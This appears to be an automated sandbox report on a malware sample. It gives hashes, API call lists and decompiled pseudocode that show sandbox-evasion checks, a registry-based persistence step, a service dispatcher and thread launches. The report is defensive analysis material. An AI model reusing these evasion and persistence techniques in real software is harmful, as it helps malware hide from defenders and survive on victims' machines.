Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char* _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				char* _v16;
				char _v17;
				intOrPtr _v24;

				_v8 = StrStrA(_a4, _a8);
				if(_v8 != 0) {
					 *0x41a994(0x41ac88, _a4, _v8 - _a4);
					 *(_v8 - _a4 + 0x41ac88) = 0;
					_v12 = _a8;
					_v16 =  &(_v12[1]);
					do {
						_v17 =  *_v12;
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				return _a4;
			}

0x0040bec4
0x0040becb
0x0040bee2
0x0040beee
0x0040bef8
0x0040bf01
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x00000000

APIs

StrStrA.SHLWAPI(00875D20,?,?,004061B1,?,00875D20,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,00875D20,00875D20,?,004061B1,?,00875D20), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s
API String ID: 1799455324-3252725368
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0063C100, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0041A574,?,?,00635E47,?,0041A574,00000000), ref: 0063C10E
lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,00635E47,?,0041A574), ref: 0063C132
wsprintfA.USER32 ref: 0063C18B

Strings

G^c, xrefs: 0063C176, 0063C179

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: G^c
API String ID: 1799455324-2048328303
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 470ce1b09dce52b69dd8a7868521ed712613e48ce815b9c08df4aaf5476bb5ee
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 17213775901108FFDF00CFECC984AEEBBB5EF48344F108189E809AB301D634AA90DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00636DB0, Relevance: 6.0, APIs: 4, Instructions: 49threadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0063C582
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A33C), ref: 0063C59A
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0063C5B2
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0063C5CB
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0063C5E3
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0063C5FB
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0063C614
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0063C62C
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0063C644
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0063C65D
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0063C673
Part of subcall function 0063C530: LoadLibraryA.KERNEL32(0041A0F8,?,00636DC2), ref: 0063C685
Part of subcall function 0063C530: LoadLibraryA.KERNEL32(0041A658,?,00636DC2), ref: 0063C697
Part of subcall function 0063C530: GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0063C6B8

Part of subcall function 006312A0: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000), ref: 006312BA
Part of subcall function 006312A0: VirtualAllocExNuma.KERNEL32(00000000), ref: 006312C1
Part of subcall function 006312A0: ExitProcess.KERNEL32 ref: 006312D2

Part of subcall function 00636CF0: GetTickCount.KERNEL32 ref: 00636CF6
Part of subcall function 00636CF0: Sleep.KERNEL32(00002710), ref: 00636D04
Part of subcall function 00636CF0: GetTickCount.KERNEL32 ref: 00636D0A

Sleep.KERNEL32(000003E7), ref: 00636E45

Part of subcall function 00636C60: GetUserDefaultLangID.KERNEL32 ref: 00636C6D

Part of subcall function 00636D80: CreateMutexA.KERNEL32(00000000,00000000,0041A124), ref: 00636D8D
Part of subcall function 00636D80: GetLastError.KERNEL32 ref: 00636D93

Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A0B4), ref: 0063C70D
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A728), ref: 0063C725
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2BC), ref: 0063C73E
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A668), ref: 0063C756
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A5D8), ref: 0063C76E
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A26C), ref: 0063C787
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A64C), ref: 0063C79F
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A4B8), ref: 0063C7B7
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2B4), ref: 0063C7D0
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7BC), ref: 0063C7E8
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A49C), ref: 0063C800
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A4FC), ref: 0063C819
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A3A8), ref: 0063C831
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1C0), ref: 0063C849
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1F8), ref: 0063C862
Part of subcall function 0063C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7AC), ref: 0063C87A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00636E0C

Part of subcall function 00636B40: GetSystemTime.KERNEL32(?,?,00000104), ref: 00636BC1
Part of subcall function 00636B40: lstrcat.KERNEL32(?,0041A60C), ref: 00636BD5
Part of subcall function 00636B40: sscanf.NTDLL ref: 00636C13
Part of subcall function 00636B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00636C27
Part of subcall function 00636B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00636C38
Part of subcall function 00636B40: ExitProcess.KERNEL32 ref: 00636C52

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00636E26
ExitProcess.KERNEL32 ref: 00636E54

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 19ff6eba54c4b80c011e3edf4dfb84021caf3397977a45d872d2aee8ba520b16
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: E2013C38788302B6F2E137B1DD07BA925874F01F81F148028FA01B81D2EED6E55485EF

Uniqueness

Uniqueness Score: -1.00%

Function 0063AF90, Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063AFA0
RtlAllocateHeap.NTDLL(00000000), ref: 0063AFA7
GetTimeZoneInformation.KERNEL32(?), ref: 0063AFBA
wsprintfA.USER32 ref: 0063AFF4

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: ea12c65edfaa781574490c09e8f8e2da6442e792ce1b005fb81b44bf2e6c47df
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: 58F09070A453189BDB209BB4DD49BEAB37AAF04301F0046E5EA0993291DB745E90CF87

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0E6, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D330
__aulldiv.LIBCMT ref: 0043D352

Strings

9, xrefs: 0043D363

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: bc98bb75e67b5d3c861859ba291d6a8334d94db909cf655fd68fd7fe866595fc
Instruction ID: d173cb5a9ef5269ea0dee6fcc67f8fa209ba083e7b81ff89ae8d3b08004bba66
Opcode Fuzzy Hash: bc98bb75e67b5d3c861859ba291d6a8334d94db909cf655fd68fd7fe866595fc
Instruction Fuzzy Hash: AA4103B1E001299FDB24CF48D981BAFB7B5BF89314F1051DAD148AB241C7789E85CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00435D1C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435F15
__aulldiv.LIBCMT ref: 00435F37

Strings

9, xrefs: 00435F48

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 91a2fdda568f9633d7d35843e0fea8d961634504dd788a3b3972241eb36542ec
Instruction ID: 24588a3f1f678381cf01af658d4698c86f9efbe09f4477eb2341ffe575b8edb0
Opcode Fuzzy Hash: 91a2fdda568f9633d7d35843e0fea8d961634504dd788a3b3972241eb36542ec
Instruction Fuzzy Hash: 6941C771D15629DFEB24CF59CC8ABAEB7B5FB48304F24959AD009A7240D7389E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043D134, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D330
__aulldiv.LIBCMT ref: 0043D352

Strings

9, xrefs: 0043D363

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 085f023d9dc05231cb64ef8825d8687272fb25f633ce9218f7bf6c16918eccab
Instruction ID: 1f04724edc3916ddcca05734af6a58d35705fed4dd6be782f95fd0273560df51
Opcode Fuzzy Hash: 085f023d9dc05231cb64ef8825d8687272fb25f633ce9218f7bf6c16918eccab
Instruction Fuzzy Hash: E14104B1E005299FDF24CF48D981BAFB7B5BB89314F1055EAE148A7241C7389E85CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00435CCB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435F15
__aulldiv.LIBCMT ref: 00435F37

Strings

9, xrefs: 00435F48

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 0f046a36f87634a8912633206b682aa4f0878c990d5c58af0e404ed860efed0c
Instruction ID: ef71c3be6eaf6cdadcdc4f3cd04b41950dee9ed6004cf02d671f5969cac4c893
Opcode Fuzzy Hash: 0f046a36f87634a8912633206b682aa4f0878c990d5c58af0e404ed860efed0c
Instruction Fuzzy Hash: 5041C571D15A28DFDB24CF58C88ABAEB7B5BB48304F24959AE009A7240D7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0DD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D330
__aulldiv.LIBCMT ref: 0043D352

Strings

9, xrefs: 0043D363

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 8094e93eaf262afb1787122b3c5246880444f9b42bc9ea20a1ec68635b1429c6
Instruction ID: 1b5aa6c10f37551cf08b2c7c941e8ba82db48f4ab6e423dca0410bd8395422e5
Opcode Fuzzy Hash: 8094e93eaf262afb1787122b3c5246880444f9b42bc9ea20a1ec68635b1429c6
Instruction Fuzzy Hash: 1D4106B1E001299FDF24CF48D981B9FB7B5BB89314F1051DAE548A7201C7389E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00642620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00642D62), ref: 00642694
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00642D62), ref: 006426A2

Part of subcall function 006418C0: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,b-d,?,?,?,?,?,?,00642D62), ref: 006418CE

Part of subcall function 00641880: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006418AC

Strings

b-d, xrefs: 006426A8, 006426FD, 006426AB

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: b-d
API String ID: 568878067-3739695602
Opcode ID: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction ID: 1ff6d479fc6c344621274b06686677c7465a11f7f9ecef4de8d853672b562f3f
Opcode Fuzzy Hash: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction Fuzzy Hash: 5F31A2B99002089FDB08DF98C594BDEBBF5BB4C304F204599D805AB352D736AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0063B8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,b6d,?,0063B7ED,b6d,00000009,?,00643662,00000009), ref: 0063B8F9
RtlAllocateHeap.NTDLL(00000000,?,0063B7ED), ref: 0063B900

Strings

b6d, xrefs: 0063B8F3, 0063B8F6

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: b6d
API String ID: 1357844191-3904925617
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: E2A6.exe PID: 4752 Parent PID: 3424 E2A6.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
